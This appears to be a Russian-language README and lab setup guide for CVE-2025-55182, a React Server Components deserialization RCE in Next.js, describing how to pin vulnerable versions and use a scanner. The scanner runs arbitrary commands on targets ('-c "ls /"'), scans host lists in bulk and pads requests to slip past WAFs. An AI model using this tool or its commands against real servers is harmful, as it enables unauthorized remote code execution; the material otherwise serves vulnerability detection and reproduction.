
CVE-2025-55182(уязвимость удалённого выполнения кода через десериализацию в React Server Components)
| Компонент | Рекомендуемая версия для воспроизведения | Диапазон уязвимых версий |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) и выше |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 или 19.2.0 | 19.0.0 – 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 – 19.2.0 |
Принудительная установка более старой версии
cd cve-2025-55182-target
npm install --force
Проверка версий зависимостей
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
Если в списке зависимостей верхнего уровня отображаются [email protected] и [email protected], значит, окружение успешно зафиксировано в уязвимом состоянии; предупреждения и коды ошибок здесь можно игнорировать.
Сборка:
npm run build
Запуск:
npm start
Сервер будет прослушивать http://localhost:3000. Окружение готово, можно приступать к проверке уязвимости.
Обнаружение/сканирование уязвимости:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Инструмент командной строки для обнаружения уязвимостей React Server Components (RSC) CVE-2025-55182 и CVE-2025-66478 в приложениях Next.js.
Подробное описание технических деталей уязвимости и методов обнаружения см. в нашей статье в блоге: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
По умолчанию сканер отправляет специально сформированный multipart POST-запрос, содержащий RCE-полезную нагрузку для выполнения детерминированной математической операции (41*271 = 11111). Уязвимый хост возвращает результат вычислений в заголовке ответа X-Action-Redirect в виде /login?a=11111.
Сканер сначала проверяет корневой путь. Если корневой путь не уязвим, он переходит по редиректам на тот же источник (например, с / на /en/) и проверяет целевой адрес перехода. Переходы на другие домены не выполняются.
Флаг --safe-check включает режим безопасной проверки, который опирается на косвенные сигналы (например, код состояния 500 и определённые сообщения об ошибках) и не выполняет код на целевой системе. Используйте этот режим, когда выполнение RCE нежелательно.
Флаг --waf-bypass добавляет случайные помехи перед телом multipart-запроса. Это помогает обойти WAF, которые анализируют только начало тела запроса. Размер по умолчанию — 128 КБ, настраивается через --waf-bypass-size. При включении обхода WAF таймаут автоматически увеличивается до 20 секунд (если не задан явно).
Флаг --windows переключает полезную нагрузку с Unix shell (echo $((41*271))) на PowerShell (powershell -c "41*271") для целей, работающих под Windows.
pip install -r requirements.txt
Сканирование одного хоста:
python3 scanner.py -u https://example.com
Сканирование списка хостов:
python3 scanner.py -l hosts.txt
Сканирование с многопоточностью и сохранением результатов:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Сканирование с пользовательскими заголовками:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Проверка с использованием безопасного режима обнаружения:
python3 scanner.py -u https://example.com --safe-check
Сканирование Windows-целей:
python3 scanner.py -u https://example.com --windows
Сканирование с обходом WAF:
python3 scanner.py -u https://example.com --waf-bypass
Выполнение RCE-команды:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Один URL для проверки
-c, --cmd Команда для выполнения
-l, --list Файл со списком хостов (по одному в строке)
-t, --threads Количество параллельных потоков (по умолчанию: 10)
--timeout Таймаут запроса (секунды, по умолчанию: 10)
-o, --output Файл для сохранения результатов (формат JSON)
--all-results Сохранять все результаты, а не только уязвимые хосты
-k, --insecure Отключить проверку SSL-сертификатов
-H, --header Пользовательский заголовок запроса (можно указывать несколько раз)
-v, --verbose Показывать детали ответа для уязвимых хостов
-q, --quiet Выводить только уязвимые хосты
--no-color Отключить цветной вывод
--safe-check Использовать безопасный режим проверки вместо RCE PoC
--windows Использовать Windows PowerShell в качестве нагрузки вместо Unix shell
--waf-bypass Добавлять помехи для обхода WAF-детектирования содержимого
--waf-bypass-size Размер помех (КБ, по умолчанию: 128)
RCE PoC был первоначально опубликован пользователем @maple3142 — мы очень благодарны за вклад в публикацию рабочего PoC.
Изначально этот инструмент был создан для безопасного обнаружения данной RCE. Эта функция по-прежнему доступна через режим безопасной проверки --safe-check.
Результаты выводятся в терминал. При использовании параметра -o уязвимые хосты сохраняются в JSON-файл вместе с полными HTTP-запросами и ответами для проверки.